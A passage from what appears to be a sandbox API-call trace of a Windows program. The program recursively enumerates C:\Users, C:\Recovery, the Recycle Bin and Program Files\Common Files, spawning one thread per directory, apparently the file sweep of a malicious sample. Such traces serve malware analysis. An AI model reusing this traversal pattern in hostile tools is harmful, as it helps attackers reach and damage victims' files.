BaseAddress=0x4088c0) returned 1 [0045.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419ac8) returned 1 Thread: id = 64 os_tid = 0xb00 [0045.611] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1c) returned 0x419ac8 [0045.612] wcscpy (in: _Dest=0x419ac8, _Source="C:\\Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery" [0045.612] wcscat (in: _Dest=0x419ac8, _Source="\\" | out: _Dest="C:\\Recovery\\") returned="C:\\Recovery\\" [0045.612] wcscat (in: _Dest=0x419ac8, _Source="*" | out: _Dest="C:\\Recovery\\*") returned="C:\\Recovery\\*" [0045.612] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4452d8 [0045.612] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ae8 [0045.805] wcscmp (_String1=".", _String2=".") returned 0 [0045.805] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.805] wcscmp (_String1="..", _String2=".") returned 1 [0045.805] wcscmp (_String1="..", _String2="..") returned 0 [0045.805] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 1 [0045.805] wcscmp (_String1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", _String2=".") returned 1 [0045.805] wcscmp (_String1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", _String2="..") returned 1 [0045.805] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x420d98 [0045.806] wcscpy (in: _Dest=0x420d98, _Source="C:\\Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery" [0045.806] wcscat (in: _Dest=0x420d98, _Source="\\" | out: _Dest="C:\\Recovery\\") returned="C:\\Recovery\\" [0045.806] wcscat (in: _Dest=0x420d98, _Source="e9e23962-4a25-11e7-88e8-91fb2ec43f0b" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" [0045.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x420d98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354 [0045.811] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 0 [0045.811] FindClose (in: hFindFile=0x409ae8 | out: hFindFile=0x409ae8) returned 1 [0045.812] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0045.812] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419ac8) returned 1 [0045.812] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419af0) returned 1 Thread: id = 65 os_tid = 0xb04 [0045.619] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x16) returned 0x415690 [0045.619] wcscpy (in: _Dest=0x415690, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0045.619] wcscat (in: _Dest=0x415690, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0045.619] wcscat (in: _Dest=0x415690, _Source="*" | out: _Dest="C:\\Users\\*") returned="C:\\Users\\*" [0045.619] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.619] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409aa8 [0045.620] wcscmp (_String1=".", _String2=".") returned 0 [0045.620] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.620] wcscmp (_String1="..", _String2=".") returned 1 [0045.620] wcscmp (_String1="..", _String2="..") returned 0 [0045.620] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0045.620] wcscmp (_String1="5p5NrGJn0jS HALPmcxz", _String2=".") returned 1 [0045.621] wcscmp (_String1="5p5NrGJn0jS HALPmcxz", _String2="..") returned 1 [0045.621] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3c) returned 0x402690 [0045.621] wcscpy (in: _Dest=0x402690, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0045.621] wcscat (in: _Dest=0x402690, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0045.621] wcscat (in: _Dest=0x402690, _Source="5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x268 [0045.622] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0045.622] wcscmp (_String1="All Users", _String2=".") returned 1 [0045.622] wcscmp (_String1="All Users", _String2="..") returned 1 [0045.622] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x26) returned 0x4088c0 [0045.622] wcscpy (in: _Dest=0x4088c0, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0045.622] wcscat (in: _Dest=0x4088c0, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0045.623] wcscat (in: _Dest=0x4088c0, _Source="All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0045.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4088c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c [0045.624] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0045.624] wcscmp (_String1="Default", _String2=".") returned 1 [0045.624] wcscmp (_String1="Default", _String2="..") returned 1 [0045.624] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x22) returned 0x445bd8 [0045.624] wcscpy (in: _Dest=0x445bd8, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0045.624] wcscat (in: _Dest=0x445bd8, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0045.624] wcscat (in: _Dest=0x445bd8, _Source="Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0045.625] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0045.625] wcscmp (_String1="Default User", _String2=".") returned 1 [0045.625] wcscmp (_String1="Default User", _String2="..") returned 1 [0045.625] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2c) returned 0x40a9f8 [0045.625] wcscpy (in: _Dest=0x40a9f8, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0045.625] wcscat (in: _Dest=0x40a9f8, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0045.625] wcscat (in: _Dest=0x40a9f8, _Source="Default User" | out: _Dest="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0045.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40a9f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x274 [0045.626] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0045.626] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0045.626] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0045.626] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0045.626] wcscmp (_String1="Public", _String2=".") returned 1 [0045.626] wcscmp (_String1="Public", _String2="..") returned 1 [0045.626] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419aa0 [0045.627] wcscpy (in: _Dest=0x419aa0, _Source="C:\\Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0045.627] wcscat (in: _Dest=0x419aa0, _Source="\\" | out: _Dest="C:\\Users\\") returned="C:\\Users\\" [0045.627] wcscat (in: _Dest=0x419aa0, _Source="Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0045.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x419aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278 [0045.628] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0045.628] FindClose (in: hFindFile=0x409aa8 | out: hFindFile=0x409aa8) returned 1 [0045.628] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.628] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415690) returned 1 [0045.628] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4156d0) returned 1 Thread: id = 66 os_tid = 0xb08 [0045.633] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x416540 [0045.633] wcscpy (in: _Dest=0x416540, _Source="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" [0045.634] wcscat (in: _Dest=0x416540, _Source="\\" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0045.634] wcscat (in: _Dest=0x416540, _Source="*" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*" [0045.634] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.634] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409aa8 [0045.634] wcscmp (_String1=".", _String2=".") returned 0 [0045.634] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.634] wcscmp (_String1="..", _String2=".") returned 1 [0045.634] wcscmp (_String1="..", _String2="..") returned 0 [0045.634] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0045.635] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0045.635] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0045.635] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0045.635] FindClose (in: hFindFile=0x409aa8 | out: hFindFile=0x409aa8) returned 1 [0045.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416540) returned 1 [0045.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446550) returned 1 Thread: id = 67 os_tid = 0xb0c [0045.638] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4026d8 [0045.638] wcscpy (in: _Dest=0x4026d8, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0045.638] wcscat (in: _Dest=0x4026d8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0045.638] wcscat (in: _Dest=0x4026d8, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\*") returned="C:\\Program Files\\Common Files\\*" [0045.638] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409aa8 [0045.639] wcscmp (_String1=".", _String2=".") returned 0 [0045.639] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.639] wcscmp (_String1="..", _String2=".") returned 1 [0045.639] wcscmp (_String1="..", _String2="..") returned 0 [0045.639] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0045.639] wcscmp (_String1="DESIGNER", _String2=".") returned 1 [0045.639] wcscmp (_String1="DESIGNER", _String2="..") returned 1 [0045.639] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x413e38 [0045.639] wcscpy (in: _Dest=0x413e38, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0045.639] wcscat (in: _Dest=0x413e38, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0045.639] wcscat (in: _Dest=0x413e38, _Source="DESIGNER" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER") returned="C:\\Program Files\\Common Files\\DESIGNER" [0045.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413e38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8 [0045.640] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0045.640] wcscmp (_String1="Microsoft Shared", _String2=".") returned 1 [0045.640] wcscmp (_String1="Microsoft Shared", _String2="..") returned 1 [0045.640] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x41a9b8 [0045.640] wcscpy (in: _Dest=0x41a9b8, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0045.640] wcscat (in: _Dest=0x41a9b8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0045.640] wcscat (in: _Dest=0x41a9b8, _Source="Microsoft Shared" | out: _Dest="C:\\Program Files\\Common Files\\Microsoft Shared") returned="C:\\Program Files\\Common Files\\Microsoft Shared" [0045.640] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41a9b8) returned 1 [0045.640] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0045.640] wcscmp (_String1="Services", _String2=".") returned 1 [0045.640] wcscmp (_String1="Services", _String2="..") returned 1 [0045.640] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x413e90 [0045.640] wcscpy (in: _Dest=0x413e90, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0045.640] wcscat (in: _Dest=0x413e90, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0045.640] wcscat (in: _Dest=0x413e90, _Source="Services" | out: _Dest="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services" [0045.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0 [0045.641] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0045.641] wcscmp (_String1="SpeechEngines", _String2=".") returned 1 [0045.641] wcscmp (_String1="SpeechEngines", _String2="..") returned 1 [0045.641] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x41a9b8 [0045.641] wcscpy (in: _Dest=0x41a9b8, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0045.641] wcscat (in: _Dest=0x41a9b8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0045.641] wcscat (in: _Dest=0x41a9b8, _Source="SpeechEngines" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines") returned="C:\\Program Files\\Common Files\\SpeechEngines" [0045.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x41a9b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc [0045.642] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 